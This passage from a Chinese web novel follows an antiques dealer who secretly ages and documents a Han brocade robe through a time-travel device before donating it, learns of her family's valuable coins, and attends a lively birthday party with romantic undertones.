“奇怪，我没买过玩具啊。”萧妧妧看一眼快递的备注，嘟囔一声开始拆箱。 打开大箱子，里面是几十个小盒子，看包装，好像是搪胶玩具。 萧妧妧茫然，以为东西寄错了的时候，看到夹在旁边的清单突然明白过来。 是她投资的潮玩公司寄来了样品。 孟什么来着？ 萧妧妧记不清那人叫什么了，去月亮号上一搜才知道，公司首家潮玩店将在黄金周开业，寄来样品请股东们看看阶段性的成果。 萧妧妧没想到这么快能看到成果，比西风科技快多了。 大几十盒潮玩盲盒拆起来挺费事，孟甜甜搭把手也花了十几分钟。 十个系列的潮玩IP排排放的时候，萧妧妧嚯了一声。 孟有树的侄子还是外甥来着，挺有实力。 其中七个是自主设计的款式，另外三个系列是联名IP，分别与南市博物馆、热门漫画、爆火动画合作，推出三系列自带流量、话题的明星产品。 “好可爱！” 孟甜甜看到成品，瞬间被它们俘获。 “我也喜欢！” 柳如烟一进门，注意力全落在搪胶潮玩上。 萧妧妧十分大方：“随便挑，喜欢哪个带走哪个。” 柳如烟欢呼一声，蹲在一排排玩具前挑挑拣拣，喜欢这个更喜欢那个。 萧妧妧看她们这副模样，突然对潮玩生意有了信心。 日子又恢复到往常的安适闲逸，临近月末的时候有一条对萧妧妧来说算不太好的消息传来。 大维德的图录被人发在了网上，唐伯虎真迹画作流入市场的消息瞬间引爆话题。 萧妧妧看到热搜词条和弹送的新闻标题，心凉了半截。 本来海内外收藏圈的新老藏家们摩拳擦掌想要拿下它，消息传出去，吸引更多人关注后，原本对收藏没什么兴趣的隐藏富翁恐怕也会成为竞争对手。 萧妧妧直叹气，提前进入焦虑状态，不知道自己准备的那点钱够不够用。 这下她总算了解，为什么许多藏家、艺术顾问，会在开拍前忐忑紧张，又在拍卖结束后因为没花出去钱扼腕。 大约是为了弥补她，萧妧妧忙着看大维德图录的时候，一条好消息紧跟着传来。 “妧妧你看，这两张照片怎么样？” 苏娇娇拿来信封一样的东西，当着萧妧妧的面拆开。 两人之间隔了半米不到的距离，信封打开的那一刻，萧妧妧就闻到了老式照片的药水味，有点上瘾。 她接过照片，虽然是黑白的，但不影响画面，能看出汉锦直裰的绣纹。 这样的照片苏娇娇准备了七张，换着角度展示。 苏娇娇问：“有没有别的古董需要我再去拍个照？” 她捂嘴笑：“你爷爷可真好哄，几颗巧克力就跟我走了，让摆什么姿势摆什么姿势。 我和你祖奶奶说，我是个摄影师，说你爷爷特别有模特气质，特别高兴把孩子借给我。” 萧妧妧默了默，原来那个年代的家长也希望自家孩子成童模。 她又瞄一眼照片，八九岁的小孩，被巧克力哄走不是挺正常嘛。 萧妧妧笑，从苏娇娇嘴里听到爷爷小时候的趣事，挺奇妙的感受。 “不用了，我可不想家里的叔伯回*头闹起来。” 她打定主意要把汉锦直裰捐给博物馆，不得不绕弯子给汉锦补上传承记录。 其他的普通古董有系统提供的证明，足以应付基础交易需求，如果拿回去搞个什么照片证明，这些没列进遗产分配清单里的东西，肯定会招叔伯姑姑们的争抢。 萧妧妧穷，可祖上富过，爷爷去世前分配遗产都是列出单子的，谁家有什么东西都一清二楚，水端得很稳。 冒出一件东西还好说，三件五件八件的，那就是灾难。 苏娇娇见状没再说什么，只问她对照片满不满意，没问题她就把照片密封起来，和汉锦放在一起。 萧妧妧挺满意的，当即拿出准备好的无酸纸填充包裹住汉锦，保持住版型，再塞进真空压缩袋里，隔绝空气与水份侵入，最后平铺放进准备好的密封收纳箱。 “娇娇姐，帮忙塞进楼梯脚下，”萧妧妧又指了指旁边的一袋水泥和砖块，“我来和水泥，等会还需要你帮忙把楼梯脚砌起来。” 苏娇娇听懂了，跟着视频学习如何砌墙抹水泥，回去后，楼梯脚彻底打扫一遍，铺上防水布，再把密封收纳箱斜着塞进去。 大半天忙下来，水泥抹了两桶，青石砖用了百来块，楼梯脚看起来就是一堵结实的墙，谁也不会想到墙里藏了价值连城的汉锦。 苏娇娇忙得满身汗，脱下围裙去客房冲澡，萧妧妧则提起锤子去地窖。 站在楼梯脚钱，萧妧妧莫名嘿了一声。 真神奇，苏娇娇那里水泥还没成型呢，她这里看过去，墙壁已经有了脱落的斑驳感。 萧妧妧戴上劳保手套，扛起锤子咚咚咚砸。 有岁月帮忙，才砸下去两三锤，苏娇娇琢磨了好久砌出来的结实砖墙破开大洞，萧妧妧甚至改用脚踢，也能踹倒砖块。 顾不上散落的水泥块和砖块，萧妧妧伸手去掏密封收纳箱。 收纳箱是她新买的，根据汉锦直裰选出来的尺寸，东西放进去的时候按压不变形，毫无异味，取出来的时候完全变样。 收纳箱发黄不说，箱体遍布霉点，她轻轻用脚一踹，嘎嘣一下，清脆碎裂。 毕竟实打实的经历了上百年，萧妧妧也说不出它质量差的话。 打开盖子，真空保存的汉锦并没有如收纳箱一样长出密密麻麻的霉点，萧妧妧的心放下大半。 可等她打开真空阀，取出汉锦，原本还色彩鲜艳的新衣裳在她眼前以肉眼可见的速度褪色，萧妧妧笑不出来了。 “这是我们刚才放进去的那件吗？” 苏娇娇没见到汉锦褪色的画面，猛地看见萧妧妧手里的旧衣裳，差点不敢认。 萧妧妧苦笑：“是它，已经比我想象的好很多。” 博物馆展示的出土汉锦不仅旧还脏、破、烂，手里的汉锦直裰除了褪色，看起来还算完好，只添了岁月的痕迹。 苏娇娇惊奇：“这样就能应对那个什么检测了吗？” “应该吧。”萧妧妧耸肩，拿起刚拍出来的泛黄旧照片抖了抖：“反正我有证据。” 她摸了摸汉锦，轻轻扯两下感受，挺结实的。俯身凑到衣裳旁边嗅嗅，闻不到什么异味。 萧妧妧先给自己套上一件长袖高领的衣服，而后将直裰往身上套，来到镜子前拍上身照，再拍几张它平铺的照片。 东西不能默默捐，要大张旗鼓地捐，要让萧妧妧三个字出现在大家的视野里。 当然，这势必要引来一些麻烦。 为了避免麻烦影响计划，萧妧妧立马打电话给萧大明报备。 “爸，我挖到文物了，要上交的那种。” 萧大明腾一下从沙发上站起，推了推老花镜。 “什么文物？你说清楚怎么回事。” 萧妧妧早有准备，把自己编好的那套话术说给萧大明听。 “一件衣裳你大惊小怪的，能有多值钱啊。” “这样，我过去看看。稀奇了，你爷爷没说家里还有这么件东西啊。” “这要是真的，你捐就捐了吧，反正卖不出去，留下再让你大伯他们知道了肯定有话讲。” 听到这里，萧妧妧放心了，真要被亲戚们知道闹起来，有萧大明扛着。 萧妧妧以退为进：“捐了不太好吧？不然我们试试走黑市卖出去？怎么说也是一笔钱呢。” 萧大明打断：“缺你那点钱了？卖什么卖，不卖。你自己都说国内没人敢买，怎么着？卖给外国人啊？” 萧妧妧笑得更灿烂了，“好，不卖，咱们捐出去，我先送去博物馆的鉴定机构，回头跟你说。” 萧大明一听要送去检测，让她先等等，至少让他看一眼长什么样。 苏娇娇见状，不敢多逗留，忙道：“今天找照相馆洗照片的时候路过一家古董行，给你买了一套和田玉麻将，还有一个翡翠摆件，东西我放在门口了。” 苏娇娇丢下这句话要回去，萧妧妧跟着她来到结界，打开门边两个礼盒。 沉甸甸的楠木礼盒装着她所说的麻将，整副麻将由和田白玉打造，正面图案并非常见的涂色，而是选择彩色宝石镶嵌，背面则统一的保留了金黄的皮色。 萧妧妧不需要细看，一眼可以断定是老物件。 麻将牌不大，穿孔后完全可以当做挂件佩戴，或者收藏把玩，总之不适合拿去揉搓打，掉一块小宝石够她心疼好久。 另一个长形礼盒是有点包浆的红木盒子，打开之后里面盖了一层红绸布，掀开布，萧妧妧直接愣住，眼眸瞬间瞪大。 这是……给她弄来一盏宝莲灯？ 捧出宝莲灯比划，整体约有40厘米高，通体碧绿，一眼能判定是高冰种，莲花灯芯部分甚至接近玻璃种。 即便不是帝王绿，这么大一件正阳绿高冰翡翠摆件，价值也低不到哪去。 萧妧妧又看又摸，越看越喜欢，精美到让任何见到它的人，都以为滴血可以认主的程度。 可惜了，早来一点还能去季随的电影里刷个脸。 萧妧妧遗憾地收起它们。 “妧妧，东西在哪呢？” 听到萧大明的声音，萧妧妧快步出小卖部，带他去看汉锦。 “奇怪，地窖什么时候多了一堵墙？我记着这下面什么都没有的啊。” 萧大明弓着腰站在地窖里，一边挠头一边回忆，始终想不起来这堵墙的存在。 萧妧妧若无其事的说：“几十年了，记不清也正常，爸你不是来看汉锦的吗？” 萧大明一时弄不清楚怎么回事，嘀咕几句便放弃，转而去看旁边挂起的汉锦，以及几张泛黄的老照片。 “呦，还真是咱家的东西。” 萧大明眯眯眼，确认那个小男孩就是去世多年的老爸，一时间感慨不已。 “你爷爷收藏的那些老物件，你大伯和你叔你姑都不喜欢，当时全留给我了，房子多分了几套给你叔伯他们。” 萧妧妧惊讶，她第一次听萧大明提起这些事。 “爷爷给我们家留过古董？” 萧大明嗯了一声：“留了，你上回背出去那把唐刀就是。 不然你以为你三叔为什么一个人能分三套院子，我只有一套？” 萧大明分到的那套院子就是他们一家住的月牙巷245号，面积挺大，但萧妧妧一直以为是爷爷偏心才给大伯三叔更多房产。 萧大明哈哈笑：“你那么小，跟你说这些干什么。万一你再说出去，回头被人惦记怎么办。” 萧妧妧撇撇嘴，不怪她以前一直觉得自己家挺穷的，爸妈什么事都没跟她说起过，她也不知道爸妈到底存了多少家底。 萧大明得意的说：“幸好当时没听你妈的要什么房子，你看你三叔，拆了几套全让人骗了，现在房子又不值钱，还是咱家的古董好。” 萧妧妧深以为然，“爷爷留了多少古董？” 萧大明摆摆手：“没多少，就三四个瓶子碗什么的，还有几个大金镯，给你和你妈一人留了个翡翠镯子，说等你结婚的时候当嫁妆。” 萧妧妧不知道是什么样的瓷瓶子，听数量不算少。 “不少了，当时急着买老宅子，我背着你妈卖出去两个青花盘子应急，一个卖出去百来万呢。” 萧妧妧倒吸一口气，她不知道的秘密可真多。 萧大明叮嘱：“你可别跟你妈说，回头找我吵架。” 萧妧妧嘴角忍不住抽搐，为张芸抱不平：“那我可不敢结婚，万一我老公背着我卖点家里的什么翡翠古董怎么办。” “我店里古董那么多，少个一件两件的发现不了，时间久了，我好不容易攒下的家底都成别人的，不行不行，亏本生意不能做。” 萧大明有种搬起石头砸自己脚的感觉，面对萧妧妧一通阴阳怪气的话，哑口无言。 “……实在不行，咱们搞那个什么婚前协议？” 虽然被阴阳了，但萧大明不得不承认萧妧妧的话带给他启发，嗫嚅着挤出话回应后，认真思考起这事。 不说萧妧妧的两套院子，一套别墅和一套大平层，以后还有他们夫妻俩的老院子，以及传下来的古董、她的古董生意…… 总之，说一句价值不菲不过分。 万一让哪个心怀不轨的盯上…… 萧大明刚为亲弟弟发愁，没缓过劲来，又要为闺女发愁，毛毛虫一样的眉毛无精打采地耷拉着。 萧妧妧没看出他在愁什么，终止话题，收好汉锦，兴冲冲回家看古董。 【作者有话说】 感谢读者“多来点我爱看”,灌溉营养液 +5 207 第207章 ◎和妧妧姐成为真正的家人◎ “140、220、80、60……” 萧大明揉揉耳朵,“你嘀咕什么？” 萧妧妧举起手里的青瓷花瓶展示：“我在说它们的价格。” 萧大明咂咂嘴：“也没有多贵嘛。” 他又从抽屉里拿出红布包，展开，露出几枚银元。 “妧妧你看看这几件呢？”萧大明两手捧起递到萧妧妧面前。 萧妧妧以为是那种泛滥的普通银元，看到“开国纪念币”几个字嚯了一声。 “以前大环境好的时候,拍卖行能卖五六百万,按今年的情况,送拍的话大概率被别人捡漏,最多400万左右。 不缺钱到那个份上，不如留在手里多放两年,好古董和宝石一样，最不怕压货的,越压越值钱。” 萧大明惊呆了，嘀咕一声乖乖,捡起纪念币细看。 “这么个小东西能卖几百万？” 萧妧妧没空回答，她的注意力已经落在另一枚银币上。 “奉天癸卯光绪元宝库平一两银币……”看清上面的小字,她吸了一口气。 萧大明瞄手心里的那枚,好奇问：“怎么,很贵吗？” “前几年拍卖行的落锤价过千万,现在不好说,800万肯定有。” 这下轮到萧大明吸气了，布包包好，赶紧把银元放回去。 “就俩钢镚，我以为不值钱呢,当时没想着卖出去，幸好没卖。”萧大明一阵后怕。 萧妧妧问：“你当时卖出去的瓷盘卖给谁了？靠谱吗？” 萧大明：“你方爷爷帮我牵线的,跟我说是什么明青花,一个盘子卖了80万,一个碗裂了一半，只卖了50万。” 萧妧妧点点头：“听起来差不多。” 难怪她拿东西找方爷爷看的时候，方爷爷没觉得哪里不对，只担心她学萧大明偷摸拿家里东西出来变卖，原来有前科。 “难怪你爷爷说让我别不高兴，他给我的更值钱，原来值钱在这里。”萧大明紧盯抽屉里的红布包一个劲念叨：“这俩银元确实抵得上那几套房子了。” 萧妧妧同样意外，要不是藏汉锦牵扯出这事，谁知道家里还藏了值钱古董。 萧妧妧忽然问：“爸，银元和瓷器有传承记录吗？” 萧大明听不懂：“什么传承记录？” “爷爷和银元、瓷器的合照、购买证明、票据什么的，或者你和它们的合照，要不就是爷爷当初分遗产的时候，有没有留下详细的清单。” 萧大明：“合照没有，谁和那玩意拍照片啊。清单有，你几个叔伯都见过，他们当时说什么不肯要，现在便宜我了。” 萧妧妧再三提醒：“那你把东西藏好，这么多瓷器你随便往库房里堆，我以前以为它们不值钱呢，幸好没摔了它们。” 找唐刀的时候她在库房翻箱倒柜，没少扒拉东西，几个瓶子罐子就简简单单塞在纸盒子里，外面包上塑料袋，萧妧妧差点把它们当垃圾收拾出去。 萧大明非常听劝：“藏，我马上搬出去藏起来，这不是看它们放得好好的，懒得动。 过两天给它们送去熙园，回头我和你妈住那，多少放心点。” 说到这里，萧大明又道：“你要是店里收到什么好货，别想着往外面卖，自己留点给子孙后代。” 萧妧妧才二十多岁，并不想考虑子孙后代的事，赶紧打住话题。 萧大明见她不想提，便不多说，转而嘿嘿笑：“我闺女能耐了，一眼过去就知道真的假的，还能看出价，真厉害。” 想到当初把东西送去老方家里时，方叔抱着东西侃侃而谈的样子，如今萧妧妧也有点那个意思了。 “妧妧，你什么时候学会看古董的？” “我看你现在水平快赶上你方爷爷了。” “下回我老朋友再买什么老物件，我让他们带上东西直接来找你，还找什么鉴定师啊，净坑钱。” 距上次亲眼见到古董铺后，萧大明再次切身感受到萧妧妧踏入了一个陌生的行业，并且生意越来越好，逐渐在古董行业站稳脚跟。 萧大明很高兴也很骄傲。 萧妧妧扯扯嘴角：“你还是想想被我妈发现少了两件瓷器怎么解释吧。” 丢下这一句，萧妧妧施施然离开，留萧大明瞪着眼睛发愁。 九月的最后一天，依然没什么大事发生。 懒洋洋躺在摇椅里看图录到下午三点，萧妧妧换一身衣服，化上简单妆容，赶去参加云昭昭的生日party。 所谓party是黎行墨自己偷摸办的，为了给云昭昭一个惊喜。 时间根据云昭昭宿舍门禁来定，傍晚5点开始，尽量早结束，不耽误几个女孩回学校。 萧妧妧来得不早不晚，黎行墨正在带人装饰包间，仿佛季随附体，不停挑剔，看得出他很用心。 彼此匆忙介绍过后，黎行墨收到短信，扫一眼兴奋说：“快快快，我们藏起来，昭昭来了。” 萧妧妧抽抽嘴角，真不知道她的舍友们用了什么法子才能把云昭昭忽悠进这家看起来就昂贵的综合性娱乐会所。 她配合地躲进套间里的棋牌室，等黎行墨信号。 大约三四分钟左右，套间大门打开，几个女孩子依次涌入。 “我们回去吧，我知道月牙巷有一家好吃的店，这里太贵了。” 静悄悄的套间率先响起云昭昭的退堂鼓，舍友们意外得知她今天生日，拉着她说要请她吃饭。 云昭昭不知道怎么拒绝她们，拉拉扯扯间就到了目的地，看到会所闪亮招牌是差点扭头走人，硬被舍友们拦下拖上来。 黎行墨好不容易联合云昭昭舍友把人骗出来，当然不会轻易放她走，唰一下窜出来放礼花，嘣嘣嘣几声响吓得云昭昭一惊，险些夺门而出。 没等她回过神，黎行墨特意请来她在校玩得好的舍友同学们纷纷冒出头，大家聚集到一起，齐唱生日快乐歌，推出小山一样高的蛋糕。 黎行墨很喜欢看她不可置信的眼光，在云昭昭愣神的工夫，他转身敲了敲门。 收到信号，萧妧妧捧着礼物在歌声里出场。 “生日快乐。”大家齐声嘱咐。 云昭昭一会看看萧妧妧，一会看看黎行墨，又扭头去看舍友同学们，满脸惊喜。 “我们也准备了礼物。” 说着，云昭昭的舍友略显幽默的从身后双肩书包里取出礼物。 黎行墨的舍友们牢记僚机人设，嬉皮笑脸起哄：“这些都是老墨准备的，学妹感动吗？感动的话不如亲一下老墨。” 话音落，不太熟悉的几波人顿时闹做一团，云昭昭直接红了脸。 “抱歉，我应该没迟到太久吧？” 打趣调侃声中，套间大门再次推开，颀长挺拔的身影逆着光线出现在门口。 耳朵比眼睛更先认出来人，萧妧妧倏地顿住，视线不自觉飘向蛋糕。 黎行墨似笑非笑地瞥一眼某处，向大家介绍：“这是我大哥，也是来庆祝昭昭生日。” 他停顿话音，语气变的戏谑：“能请到大哥可不容易，迟到一点算什么。 对了，给昭昭准备礼物了吧？价格太低我们可看不上。” 云昭昭懵了，没想过突如其来的生日聚会有黎行聿参加。 她听黎行墨不着调的话，气得横他一眼。 黎行聿笑笑，接过刘秘书递来的手提袋，语气还算温和的说了一声“生日快乐”。 云昭昭手足无措，低声说一句谢谢。 黎行墨不客气说：“谢什么谢，他应该的。” 说着，没等黎行聿走近，黎行墨一步跨出去直接上手抢，当场拆礼物。 云昭昭恨不得钻地缝，拉着黎行墨衣摆提醒他收敛点。 黎行墨不以为然，打开礼盒淡淡评价：“刘秘书眼光不错。” 云昭昭忍不住瞄了一眼，虽然看不出来手链材质，但是品牌logo她记得，不便宜。 黎行墨察觉到她的迟疑，在她耳边低声说：“傻不傻，赶紧收着，就当是报酬了。” 云昭昭满脸问号，什么报酬？ 她傻愣愣抬头，视线顺着黎行墨示意眼神看向黎行聿，再顺着黎行聿的目光转移到低垂脑袋的萧妧妧，瞬间恍悟。 一群在校的年轻人玩玩闹闹自然而然能熟识起来，偏偏多了个看起来十分有气场的社会人黎行聿，本就不太熟悉的大家更显拘谨。 尤其萧妧妧，上学听课一般正襟危坐，实际扣着手发呆，仿佛回到了刚认识黎行聿时的生疏状态。 也没说会请黎行聿来啊……萧妧妧抿起唇角腹诽。 倒不至于避而不见，至少有点心理准备吧，冷不丁看到大活人，萧妧妧挺不自在的。 黎行墨早料到现在的情况，拿上话筒大声预告宣布今天的活动。 萧妧妧一开始只是装作对游戏感兴趣，听着听着觉得确实有点意思。 类似团建破冰小游戏吧，不同的地方在于每轮游戏的礼物有点超规格。 比如唱歌比分，最高分得到某奢牌包包一个。 比如默契猜词，胜者双方获得寒假邮轮出境游机会。 还有什么大牌护肤品、豪华酒店一个月免费入住、最新款游戏设备…… 黎行墨每报出一项奖品，套间便迎来欢呼一次，甚至连安慰奖都有考虑。 当大家得知人人有份的安慰奖是价值过万的大牌电子产品，欢呼声几乎掀了房顶。 别说几个在校学生了，萧妧妧都心动。 “有你喜欢的奖品？” 身侧沙发下陷，没一会，黎行聿的声音和呼出的热气一起出现在耳畔。 萧妧妧一僵，未免自己表现太奇怪，如无其事地回：“也不是想要奖品，就想体验一下赢的感觉。” 黎行聿没说话，萧妧妧小幅度转动脑袋偷瞄他，见他在认真琢磨游戏规则，她赶紧改口：“当然，游戏还是看别人玩有意思。” 她偏过头，忽略黎行聿投过来的视线，看几个年轻人打闹。 云昭昭的几个舍友同学一脸求包养的姿态搂住云昭昭不撒手，黎行墨的几个舍友差不了多少，一串国粹输出。 “老墨你好心机，以前没见你这么玩。” “谈女朋友了就是不一样，我们这群兄弟比不上啊比不上。” “老墨你偏心，这些奖品怎么只考虑学妹们。” “嫁出去的兄弟泼出去的水，才刚谈上呢，瞧瞧，心都偏到学妹宿舍去了。” 云昭昭的舍友笑嘻嘻道：“谁让昭昭住我们宿舍，这叫挟昭昭以令诸侯。” 另一舍友插话：“昭昭，我们一起玩默契猜词，赢了我们一起邮轮旅游。” 有眼色的舍友挤眉弄眼出声打断：“笨蛋，昭昭是要和黎学长一起玩的。” 话落，大家一下子哄笑开，云昭昭不好意思地捂脸。 她只过过两次正经生日，一次是萧妧妧去她学校决定资助她的那天，得知那天还是她生日，一家人离开之前去镇子上的面包房买来一块小蛋糕，还对她说了生日快乐。 第二次就是今天。 相处了一个月，舍友们知道云昭昭性格腼腆害羞，不再闹她，嚷嚷着点正餐吃蛋糕，迫不及待玩游戏。 云昭昭撑着脑袋看大家有说有笑，自己跟着傻笑。 她环顾一圈，目光落在坐立难安的萧妧妧身上，偷摸掐一把黎行墨的后腰。 “都怪你，要是妧妧姐生气了，我……” 黎行墨闻言瞟一眼斜对面的两人，低声诱哄：“你不是一直把妧妧姐当家人吗？ 现在机会来了，大哥在帮你和妧妧姐成为真正的家人。” 云昭昭一愣，脑筋转了两个弯才迟钝反应过来什么意思。 她脸颊爆红：“谁要跟你成一家人。” 黎行墨故意歪曲：“原来你不想和妧妧姐当家人啊。” 云昭昭说不过他，抬脚，狂踩黎行墨脚背，看他表情扭曲才勉强给了好脸色。 【作者有话说】 感谢读者“冬雪”,灌溉营养液 +42 感谢读者“虫子太多好可怕”,灌溉营养液 +5 208 第208章 ◎你们臭情侣走远点◎ 萧妧妧认为自己演得挺好,表面看态度一如往常，只稍微拉远了点距离。 她会和年轻小姑娘打听她们的专业课学哪些，会不会鉴定古董，有没有上手尝试。 要么听黎行墨的同学讲学校里的八卦,抖落学校有哪些知名人渣,防止新进校的学妹被骗。 萧妧妧听得津津有味,时不时埋头苦吃。 要不说还是年轻人会吃,桌上没一个样子菜，全是小孩子喜欢的重油重辣垃圾食品,当然，食材可一点不垃圾。 萧妧妧拿起一串烤澳龙,一口下去满嘴酱料，黎行聿旁若无人的帮她撩开垂落下来的发丝。 咀嚼的动作稍稍停顿,她擦擦嘴，扭头小声说谢,垂眸埋头啃澳龙。 没发现时还能说一句朋友之间很正常,她和她的小伙伴一直这样相处。 一旦察觉苗头不对,萧妧妧怎么看都觉得他明目张胆。 萧妧妧好不容易将心里杂念压下去,他轻轻一拨头发,思绪挣脱压制胡乱在脑海里飞，飞着飞着，耳根滚烫。 黎行聿先入为主认定她没心没肺只惦记赚钱，这会也没能发觉她的异常是因为他,像以前一样做自己该做的事情，试图温水煮熟青蛙。 比起同胞弟弟黎行墨,他确实含蓄了非常多。 “你喜欢含蓄？磨磨唧唧有什么好,明明你更喜欢脱.裤子上.床这种有效率的。” 两人凑在一起交头接耳,黎行墨很不满女朋友对大哥的温吞恋爱方式表达赞美。 云昭昭低声骂一句不要脸，又在桌下踩了他几脚。 “踩脚没意思，有本事回家踩我……” 云昭昭习惯他的口无遮拦，反应迅疾，捞起不知道什么的东西堵他嘴。 “哈哈哈，学妹可真惦记你啊老墨，螃蟹壳都舍不得浪费。” 舍友目睹黎行墨被叼住一整只螃蟹，哄笑着调侃，引得大家纷纷侧目。 萧妧妧抽空抬头瞄一眼，不知道大家在闹什么。 “吃不吃螃蟹？” 黎行聿像是随口一问，手上动作却是挽起袖子，好像她一点头，马上能拿工具拆蟹。 萧妧妧吓一跳，想说不吃，但其实挺想的，现在拒绝，等会她又去拿螃蟹，未免不好看。 “明白，那就是想吃了。” 黎行聿轻易读懂她的纠结，以为她想吃又怕麻烦，在为此犹豫，轻笑一声挑出一只螃蟹，拿来工具剥壳拆肉。 干净的白瓷小碗很快堆起蟹肉蟹黄，并且不断增加，萧妧妧愣了一会直叹气。 谁能拒绝帅哥殷勤的服务呢，还是拆螃蟹这种麻烦事。 萧妧妧坦荡承认，现在的她虚荣心得到了非同一般的满足。 “不如……再让我看看你剥虾的技术？” 不全是为了虚荣心，萧妧妧多少有点好奇，黎行聿可以做到什么程度。 她试探着说完，一大勺蟹肉塞进嘴里。 剥都剥了，不吃才是浪费他的工作成果，她毫无负担地进食，腮帮一鼓一鼓的咀嚼。 黎行聿眼神落在她两腮，弯了弯唇角，带出满意又有点纵容意味的笑意。 投喂她很有意思，看她眼眸快乐眯起，然后露出意犹未尽的神色，非常有意思。 “想吃哪种？” 黎行聿放下蟹八件，戴上手套，目光睃巡餐桌上的几盘海鲜，等她发号施令。 萧妧妧仔细观察他的神色，怀疑他是抖M，竟然看不出一点不耐烦情绪。 “不知道，都行。” 她收回视线，含糊不清地回应，话音里夹杂欺负老实人的罪恶感。 黎行聿语气认真：“刚才没看见你吃花虾，不喜欢吃还是懒得剥？要不要试试？” 萧妧妧眼神飘忽，腹诽道：吃饭的时候还有心思东张西望，可见是不饿的。 “不爱吃，就弄点牡丹虾吧。”她尽量保持平淡语气说道。 黎行聿嗯一声，“再来一点罗氏虾？你好像挺喜欢它。” 他十分仔细，用干净的餐盘和公筷，剥完的虾肉同样堆放在白瓷碗里等她品尝。 萧妧妧看他熟练的动作，和即将满出来的小碗，实在憋得难受，道：“黎总吃个饭也不忘记眼观六路。” 黎行聿喉头滚动，欲言，又止，又欲言。 黎行墨一边和朋友玩闹，一边关注大哥这边的状况，恨不得当他嘴替。 云昭昭小声对黎行墨说：“太含蓄了也不好。” 她看得都着急了。 黎行聿最终没说什么，笑了笑，把小瓷碗往萧妧妧那里推近。 “趁热吃，凉了有腥气。” 萧妧妧瞄他一眼，余光扫过他泛起薄薄红色的耳根，慢吞吞的哦了一声，眼观鼻鼻观心。 大鱼大肉之后，大家迎来吃蛋糕环节。 翻糖蛋糕不好吃，大家意思意思尝几口，闹着要进入期待已久的游戏环节。 萧妧妧不参与，选择坐一旁看热闹，没什么比看热闹更舒服的事。 除萧妧妧和黎行聿没加入其中，第一轮唱歌比拼，因为某价值3万多的奖品，其余十四人全部参加，大家牟足劲要唱出最高分，套间一片火热。 而把游戏带到小高.潮的并不是奖品，是接下来的猜词游戏。 在场众人格外有眼色，推推攘攘安排小情侣站在台上，一人负责描述一人负责猜词。 萧妧妧以为没什么看头，直到…… 云昭昭：“我拽你的发丝，你也拽我的发丝，猜三个字。” 黎行墨脸红：“……这能说吗？” 云昭昭催促：“快点，还有3秒。” 黎行墨咬牙拒绝：“输就输，这种事情说出来你会打死我。” 云昭昭又气又费解，不得不宣布答案：“扯头花，是扯头花！” 黎行墨顿住，恍然大悟：“扯头花？我以为……” 话没说完，黎行墨脸红成一片。 云昭昭胜负欲暴增：“下一个，我无缘无故骂你，两个字。” 黎行墨秒懂，信誓旦旦：“勾引！” 云昭昭傻眼：“是犯贱，犯贱！” 伴随她羞恼的低吼，套间响起震天的笑声。 “老墨你能不能玩啊，虐狗有意思吗？” “服了，不然你们单独一个包间玩去？” “行不行啊老墨，就这点默契？” 黎行墨狡辩：“我说勾引哪里不对？” 云昭昭不想多提，抓紧时间跳下一个词语。 “我莫名其妙地打你，四个字。” 黎行墨不自信地说：“情.趣调……” 云昭昭吸气，咬牙切齿打断他：“四个字！正经一点。” 黎行墨不假思索改口，信心满满，中气十足：“爱的抚摸！” 周遭又传来一片哄笑，有人笑得肚子疼，崩溃泄露答案：“是寻衅滋事！你们臭情侣走远点。” 黎行墨挠头，也觉得没面子，他不甘心0分结束，撸起袖子冲最后一道题。 云昭昭吸取教训，尽量不带歧义的描述：“两只手一起旋转，猜三个字。” 黎行墨震惊扭头看出题人，“你小子故意的吧，能不能出点正经题目？龌龊！” 被冤枉的舍友无辜至极，震惊吐槽：“谁龌龊！你能不能想点正经的，这是摇花手，摇花手见过吗？” 舍友气得上台当场两手高举来一出摇花手。 黎行墨僵住，云昭昭捂脸，众人沸腾，扒拉着黎行墨追问他原本的答案。 一场游戏没结束，云昭昭面子里子全没了，捂脸躲去角落，黎行墨委屈巴巴跟过去哄，留套间众多吃瓜群众狂笑不止。 “磕到了磕到了。” “成年人想多点很正常。” “对不起，我不该秒懂……” “我们愿意付费，多说点，想听。” 萧妧妧捂嘴笑得肩头直耸，顾忌黎行聿的面子才没笑出声。 黎行聿大约觉得丢脸吧，撑着额头不想说话。 萧妧妧这会也不别扭了，安慰地拍拍他肩头，给黎行墨当哥哥挺不容易。 猜词游戏选择的都是最近一两年内的网络热词，爱上网乱窜的年轻人大多知道，游戏结束，云昭昭的两个舍友获得了邮轮旅游大奖，激动得脸颊通红。 下一轮专为情侣打造的默契问答游戏，在云昭昭的强烈要求下，黎行墨失去了参与的资格。 上台的三组人全部临时组队，毫无默契，只能靠乱猜，看谁运气好。 黎行聿忽然问：“陪我上去玩一次？” 萧妧妧愣住，怀疑自己偷笑黎行墨被他记仇了。 “不合适吧，我们上去得不到分多丢人。” 黎行聿语气笃定：“不会，我们胜算很大。” 萧妧妧看一眼奖品，拉布布全系列外加隐藏款。 有点心动，试试就试试。 两人先后上台占据第四个位置，凑足了人，游戏主持人宣布开始答题。 先写自己的答案，再回答对方的，萧妧妧写着写着停下笔，笑容消失。 黎行聿余光留意到她停滞的动作，没多想，安慰她：*“答不出来没关系，交给我。” 萧妧妧偏头，看他龙飞凤舞写下一个又一个答案，犹豫一会，硬生生搁下笔，死活不肯再写答案。 整理答题卡，游戏主持人做为评委，公正公开展示所有结果。 前面几组的回答牛头不搭马嘴，考虑大家临时组队，结果也是理所应当，不过各种稀奇古怪的答案着实逗笑了大家。 “我去，你们的正确率高得离谱？没作弊？” “等一下，游戏规则不是改了吗？怎么有真情侣混进来？” “黑幕黑幕！” “你们臭情侣走远点！”*N 最后一组是萧妧妧和黎行聿，20个默契小问题中，黎行聿以一骑绝尘的姿态拿下19分。 萧妧妧差一点，只拿下9分。 两人的分数加在一起无疑成了本轮游戏的第一名，获得全系列拉布布。 黎行墨揉着腰过来证明两人的清白，透着看热闹的坏心思，意味深长地说：“我可以证明，他们……也是临时组队。” 游戏主持人列出四组人的得分，愉快宣布奖品归属。 抱走一大箱拉布布，萧妧妧并没有多高兴，内心全被另一种情绪淹没。 20道题看似简单，但因游戏一开始是为黎行墨和云昭昭设计，具有非常明显的针对性。 基础的如对方喜欢什么讨厌什么、梦想是什么目标是什么。 升级版有难忘的经历、给对方的备注、最期待的事情、初次接吻地点……等等。 黎行聿没能拿满分的罪魁祸首就是那道接吻地点，他们还没牵过手呢。 游戏道具捏出褶皱，萧妧妧撑着脸，叹气，发愁。 望一眼他的19分，再扫向自己的9分答题卡，萧妧妧双目不自觉发直。 